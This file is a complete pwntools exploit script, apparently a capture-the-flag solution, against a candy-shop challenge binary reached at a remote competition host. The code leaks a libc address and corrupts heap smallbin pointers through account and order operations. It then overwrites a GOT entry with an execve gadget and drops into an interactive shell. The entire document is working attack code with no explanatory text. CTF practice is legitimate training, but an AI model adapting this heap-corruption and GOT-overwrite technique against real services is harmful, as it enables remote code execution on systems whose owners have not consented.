from pwn import *
#context.log_level = 'debug'
gAccount1bk = 0x604240
gAccount2fd = 0x604268
def fill(addr):
tmp = int(addr)
log.info('Original address(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))
tmp -= 10000
log.info('Address - 10000(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))
tmp = str(tmp)
for i in range(5):
for j in range(int(tmp[6-i])):
charge(str(i))
for i in range(int(tmp[0:2])):
charge('5')
def setAccount(id):
p.recvuntil('Enter your ID.')
p.send('a')
p.recvuntil('Enter your Password.')
p.send('a')
p.recvuntil('Create an account?')
p.send('0')
p.recvuntil('Enter your New ID.')
p.send(id)
p.recvuntil('Enter your New Password.')
p.send(id)
p.recvuntil('Enter your profile.')
p.send('TEST')
def login(id,pw):
p.recvuntil('Enter your ID.')
p.send(id)
p.recvuntil('Enter your Password.')
p.send(pw)
def logout():
p.recvuntil('Command : ')
p.send('9')
p.recvuntil('1) No')
p.send('0')
def delAccount(num):
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('1')
p.recvuntil('Please enter the number of the account you want to delete')
p.send(num)
p.recvuntil('Command : ')
p.send('3')
def pwChange(num,pw):
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the number of the account you want to change PW')
p.send(num)
p.recvuntil('Enter your New Password.')
p.send(pw)
p.recvuntil('Command : ')
p.send('3')
def charge(num):
p.recvuntil('Command : ')
p.send('3')
p.recvuntil('5) 100000')
p.send(num)
def setOrderlist(num):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please pick up the candies to order.')
p.send(num)
p.recvuntil('Command : ')
p.send('5')
def delOrderlist():
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('3')
p.recvuntil('Candy code: ')
p.send('0')
p.recvuntil('Command : ')
p.send('5')
def getOrderlist():
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('1')
def setOrder(price,desc):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('0) Yes, 1) No')
p.send('0')
p.recvuntil('Enter the price of ')
p.sendline(price)
p.recvuntil('Enter a description of the')
p.send(desc)
p.recvuntil('Command : ')
p.send('5')
def purchase(code,num,comment):
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the code number of the candy to be purchased.')
p.send(code)
p.recvuntil('Please enter the number of the candy to purchase.')
p.send(num)
p.recvuntil('Please enter a comment for candy.')
p.send(comment)
bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)
signal = bin.got['signal']
login('Admin','admin')
setOrderlist('1')
setOrder('10','TEST')
setOrderlist('1')
setOrderlist('1')
purchase('0','10','AA')
setOrderlist('1')
getOrderlist()
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274
log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))
p.recvuntil('Command : ')
p.send('5')
#Design heap
delOrderlist()
setOrder('20','BB')
logout()
#Create account 1
setAccount('asdf')
login('asdf','asdf')
fill(gAccount2fd)
logout()
#Create account 2
setAccount('qwer')
login('qwer','qwer')
fill(gAccount1bk)
logout()
#Set gAccount[1].fd->state
login('Admin','admin')
delAccount('2')
setOrderlist('0')
setOrder('1','A'*24)
#register bins[16,17]
purchase('1','10','AA')
#Overwrite Smallbin bk
pwChange('2',p64(gAccount1bk))
setOrderlist('3')
setOrder('1','A'*24)
purchase('1','10','AA')
#Overwrite gAccount[1].fd
setOrderlist('2')
setOrder('1',p64(signal))
#Overwrite fflush.got
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the number of the account you want to change PW')
p.send('2')
p.recvuntil('Enter your New Password.')
p.send(p64(execve))
#Get shell
p.interactive() |